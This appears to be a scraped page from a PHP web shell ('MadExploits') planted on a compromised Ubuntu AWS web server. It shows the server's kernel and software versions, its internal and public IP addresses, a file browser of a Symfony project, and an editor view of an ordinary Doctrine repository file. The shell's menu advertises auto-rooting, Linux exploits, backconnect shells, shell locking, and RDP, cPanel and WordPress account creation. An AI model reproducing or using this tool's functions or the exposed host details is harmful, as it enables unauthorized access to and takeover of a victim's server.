Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.221.69.38
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
src /
Repository /
[ HOME SHELL ]
Name
Size
Permission
Action
CargoRepository.php
1.95
KB
-rw-rw-r--
DepotRepository.php
2.21
KB
-rw-rw-r--
LoadingRepository.php
1.94
KB
-rw-rw-r--
ReleaseOrderRepository.php
8.66
KB
-rw-rw-r--
SubcargoRepository.php
424
B
-rw-rw-r--
UserDepotRepository.php
3.11
KB
-rw-rw-r--
UserRepository.php
463
B
-rw-rw-r--
googleda794cd9937527d01.html
33
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UserDepotRepository.php
<?php namespace App\Repository; use App\Entity\UserDepot; use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository; use Doctrine\Persistence\ManagerRegistry; /** * @method UserDepot|null find($id, $lockMode = null, $lockVersion = null) * @method UserDepot|null findOneBy(array $criteria, array $orderBy = null) * @method UserDepot[] findAll() * @method UserDepot[] findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null) */ class UserDepotRepository extends ServiceEntityRepository { public function __construct(ManagerRegistry $registry) { parent::__construct($registry, UserDepot::class); } // /** // * @return UserDepot[] Returns an array of UserDepot objects // */ public function findByExampleField($user) { return $this->createQueryBuilder('ud') ->andWhere('ud.user = :user') ->setParameter('user', $user) ->orderBy('u.id', 'ASC') ->setMaxResults(10) ->getQuery() ->getResult() ; } public function findNotCheckedIn($user) { return $this->getEntityManager() ->createQuery( 'SELECT ud FROM App\Entity\UserDepot ud WHERE ud.user = :user AND (ud.checkout IS NULL)' )->setParameter('user', $user) ->getResult(); } public function findNonCheckedOut($user) { $close = new \DateTime('today 00:00'); return $this->getEntityManager() ->createQuery( 'SELECT d.id, d.name FROM App\Entity\UserDepot ud, App\Entity\Depot d WHERE d = ud.depot AND ud.user = :user AND (ud.checkout IS NULL)' )->setParameter('user', $user) ->getResult(); } public function findNonCheckedOutAll() { $cutoff = new \DateTime('today 00:00'); return $this->getEntityManager() ->createQuery( 'SELECT ud.id FROM App\Entity\UserDepot ud WHERE ud.checkout IS NULL AND ud.checkin < :cutoff' )->setParameter('cutoff', $cutoff) ->getResult(); } public function findCheckedInUser($depot) { $start = new \DateTime('today 06:00'); $end = new \DateTime('today 20:00'); return $this->getEntityManager() ->createQuery( 'SELECT u.telephone, u.email FROM App\Entity\UserDepot ud, App\Entity\User u WHERE IDENTITY(ud.user) = u.id AND IDENTITY(ud.depot) = :depot AND ud.checkout IS NULL AND ud.checkin > :start AND ud.checkin < :end' )->setParameter('start', $start) ->setParameter('end', $end) ->setParameter('depot', $depot->getId()) ->getResult(); } /* public function findOneBySomeField($value): ?UserDepot { return $this->createQueryBuilder('u') ->andWhere('u.exampleField = :val') ->setParameter('val', $value) ->getQuery() ->getOneOrNullResult() ; } */ }
Close